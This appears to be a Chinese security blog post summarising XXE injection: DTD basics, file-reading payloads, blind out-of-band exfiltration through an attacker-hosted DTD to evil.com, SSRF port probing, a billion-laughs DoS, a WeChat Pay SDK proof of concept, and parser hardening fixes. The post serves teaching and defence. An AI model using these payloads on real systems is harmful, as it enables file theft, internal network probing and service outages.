XXE漏洞总结

以前对于XXE了解较少,为了弥补安全防御知识及减少漏洞利用短板,翻了一波资料,总结分享下。


XXE

基础知识

xml基础知识:https://p0rz9.github.io/2018/11/08/java_web_xml/
DTD:
XML文档包括XML声明,DTD文档类型定义(可选),文档元素。

内部声明DTD:    
    <!DOCTYPE 根元素 [元素声明]>

引用外部DTD:
    <!DOCTYPE 根元素 SYSTEM "文件名">

DTD中的关键字:

DOCTYPE(声明)    
ENTITY(实体声明)        
SYSTEM PUBLIC(外部资源申请)            

实体类别:

参数实体(用%声明,用%引用。 DTD中声明,DTD中引用)            
其余实体(直接用实体名称声明,使用&引用。  DTD中声明,xml中引用)                

举例

内部实体:            
<!ENTITY 实体名称 "实体内容">    

外部实体:
<!ENTITY 实体名称 SYSTEM "URI">        

参数实体:
<!ENTITY % 实体名称 "实体内容">    
或
<!ENTITY % 实体名称 "实体内容">

注:参数实体是在DTD中引用的,而其余实体是在xml文档中引用的。

概念

xml外部实体注入(XML External Entity)。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

构建外部实体注入

构建外部实体注入共有3种方法

有回显读本地敏感文件(Normal XXE)

xml.php

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

payload:

<?xml version="1.0"?>
<!DOCTYPE a [ 
    <!ENTITY b SYSTEM "file:///C:/Windows/win.ini"> 
]>
<c>&b;</c>

结果如下
2019-02-27.08.36.44-image.png

上面可以读取到数据是基于文件内容没有什么特殊符号,我们新建个test.txt文件,复制刚才的内容,再加上几个< >符号(如下所示)

2019-02-26.18.07.59-image.png

我们读取一下:
2019-02-27.08.44.59-image.png

发现报错了,因为txt文件的<字符会被xml解析器当作新元素的开始,那如何解决这个问题,我们需要了解一下:CDATA

CDATA指的是不应由XML解析器进行解析的文本数据。CADATA中的所有内容都会被XML解析器忽略。

那在这里我们就可以把读出来的数据放在CDATA中输出进行绕过。由于在XML并不支持多个实体连续引用,而必须在DTD中拼接好,然后在XML中进行引用。在DTD中拼接,只能使用参数实体,payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///C:/Windows/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1:83/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

成功读取到含有特殊字符的文件内容
2019-02-27.09.11.59-image.png

无回显读取本地敏感文件(Blind OOB XXE)

外带请求读取文件

想要外带就必须发出请求,我们可以在外部实体定义或者参数实体定义时,但是光请求还不够,我们需要把第一次请求的数据传出去,就是说,我们需要在”请求中引用另一个请求的结果“,我们只有用参数实体才可以满足要求(且参数实体必须在DTD中引用)

xml.php

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:1223?p=%file;'>">

payload:

http://127.0.0.1:83/xml.php
post:
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1:83/evil.dtd">
%remote;%int;%send;
]>

我们先监听1223端口,然后执行我们的payload,执行结果:

2019-02-27.09.45.31-image.png

我们可以看到接收了我们base64编码(为了不破坏原来的XML语法)后的文件内容,我们解码后即为test.txt内容
2019-02-27.09.51.44-image.png

调用过程:
在payload中看到连续调用了三个请求实体%remote;%int;%send;,首先%remote先调用,调用后请求83端口的evil.dtd文件,然后%int调用test.dtd中的%file,%file就会去获取服务器上的test.txt文件,然后将返回的结果进行base64编码再填充到%send中(实体内容不能有%,所以进行html编码为&#37;),调用%send,将内容发到我们监听的服务器上(这里我用本机演示的),这就实现了外带数据的效果,解决了XXE无回显的问题。

XXE的危害

任意文件读取

这是XXE攻击最基本的使用方式,我们在上面的例子可以看到。

SSRF/内网主机、端口探测

SSRF(服务器请求伪造),
利用SSRF,我们可以使用更多的协议来进行漏洞测试,我们先了解不同平台对应可用的协议:
2019-02-27.11.27.49-image.png

PHP在安装扩展以后还能支持以下协议:
2019-02-27.11.44.51-image.png

主机探测

<?xml version = "1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY f SYSTEM "http://10.10.10.1">
    ]>
    <x>&f;</x>

对ip地址进行探测或者使用FTP协议探测(下文会提及)

端口探测
由上面知道了网端的开放信息,接下来我们就进一步探测存活网段的端口:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://127.0.0.1:80">
]>
<x>&f;</x>

2019-02-27.12.12.06-image.png

Dos攻击

<?xml version="1.0"?>
  <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  ]>
    <lolz>&lol9;</lolz>

当XML解析器加载这个文档时,他会看到它包含一个包含文本&lol9;的根元素,不过&lol9;是一个定义的实体,扩展包含十个&lol8;的字符串,每个&lol8;是一个定义的实体,扩展为十个&lol7;的字符串。因为许多XML解释器在解析XML文档时倾向于将它的整个结果保存在内存中,所以这个不到1kb的xml文件实际包含10亿个lol,占用几乎3GB的内存,造成DDOS攻击。

命令执行

PHP环境下,xml命令执行要求php装有expect扩展。该扩展默认没有安装。

<?php 
  $xml = <<<EOF
  <?xml version = "1.0"?>
  <!DOCTYPE ANY [
      <!ENTITY f SYSTEM "except://ls">
  ]>
  <x>&f;</x>
  EOF;
  $data = simplexml_load_string($xml);
  print_r($data);
?>

真实案例

微信XXE

前一阵子非常火的微信支付的XXE
漏洞描述:微信SDK的xmlToMap()方法接收并处理xml数据且支持外部实体解析,所以只要能控制strXml,那么这边就存在XXE漏洞。
2019-02-27.19.27.15-image.png

执行我们的测试代码(读取win.ini文件)
Test.java

package com.test;
import java.util.Map;
import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;

public class Test {
    public static void main(String args[]) throws Exception {

        String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" +
                "<!DOCTYPE root [\r\n" +
                "<!ENTITY test SYSTEM 'file:///C:/Windows/win.ini'>]>\r\n" +
                "<root>\r\n"+
                "<name>&test;</name>\r\n" +
                "</root>";

        try{
            Map<String,String> test = xmlToMap(xmlStr);
            System.out.println(test);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

2019-02-27.18.10.54-image.png

netdoc协议代替file://协议去读取文件:
2019-02-27.18.13.15-image.png

修复方案是针对WXPayXmlUtil.java的配置进行了修改。
错误配置:

http://apache.org/xml/features/disallow-doctype-decl false
http://apache.org/xml/features/nonvalidating/load-external-dtd false
http://xml.org/sax/features/external-general-entities true
http://xml.org/sax/features/external-parameter-entities true

修复后:

http://apache.org/xml/features/disallow-doctype-decl true  (不能使用DOCTYPE)
http://apache.org/xml/features/nonvalidating/load-external-dtd false (不加载外部DTD文件)
http://xml.org/sax/features/external-general-entities false  //防止外部普通实体            
http://xml.org/sax/features/external-parameter-entities false  //防止外部参数实体

复现代码:

漏洞挖掘中如何快速检测是否存在XXE

常用检测方法

首先查看XML是否可以成功解析
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name "test1">]>    
<root>&name;</root>

如果页面输出了test1(可以解析),第二步查看是否支持DTD引用外部实体

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [  
<!ENTITY % name SYSTEM "http://myhost/index.html">  
%name;  
]>

然后在我的服务器上查看日志,如果有目标服务器向我的服务器发送了一条index.html的请求,说明
支持引用外部实体,很有可能存在xxe漏洞。

外部普通实体

当有回显时,利用file://协议:

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE lltest[
    <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]> 
    <user><username>&xxe;</username><password>123456</password></user>
外部参数实体

当无回显,使用http协议:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ 
<!ENTITY % lltest SYSTEM "http://myhost:1234/test_xxe">
%lltest;
]>

然后在myhost监听1234端口(dnslog地址也可以),查看是否有http请求

代码审计XXE

直接查找关键字:

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………

Json Content-type XXE

很多Web与App应用都是基于客户端-服务器交互的Web通信服务,最常见的数据格式就是Json与XML,尽管web服务可能只使用一种格式,但是服务器却可以接收开发人员没有料到的其他数据格式,有可能导致Json节点受到XXE攻击。
测试方法很简单,就是将Content-Type: application/json修改为Content-Type: application/xml,数据格式不变,查看是否报错:
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器是可以处理xml数据的,于是我们利用这个来进行攻击。
payload:

...
Content-Type: application/xml
...
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<param1>name</param1>
<param2>&xxe;</param2>
</root>

查看是否可以读取敏感文件。

利用FTP协议获取敏感信息

利用ftp协议获取服务器信息/内网ip之类的技巧:
在攻击者服务器上运行rb脚本(模拟FTP服务器:https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb),监听8080端口。
然后在web程序那里输入payload:

<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd"> 
   %asd; 
   %rrr; 
]>
<a></a>

ext.dtd

<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">

然后在模拟的FTP服务器上就会收到一些服务器信息/文件内容

技巧来自:http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

Bypass

<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

XXE如何防御

禁用外部实体

不同语言都提供了禁用外部实体的方法

PHP:
   libxml_disable_entity_loader(true);

JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);  几乎可以防御所有xml实体攻击

    如果不能使用DTDs,可以使用以下两项,两项必须同时存在
    .setFeature("http://xml.org/sax/features/external-general-entities",false) //防止外部普通实体POC攻击
    .setFeature("http://xml.org/sax/features/external-parameter-entities",false); //防止外部参数实体POC攻击

Python
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键字:<!DOCTYPE 与<EMTITY,或者SYSTEM PUBLIC

可能存在被绕过的情况,如(过滤了<EMTITY)Bypass:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://vps/xxe.dtd">
<root>
<user>&xxe;</user>
</root>

参考链接

https://xz.aliyun.com/t/122#toc-4
https://xz.aliyun.com/t/2249
https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%20XXE%20%E6%BC%8F%E6%B4%9E/
https://xz.aliyun.com/t/2761#toc-3
https://www.freebuf.com/vuls/194112.html
http://www.freebuf.com/vuls/176837.html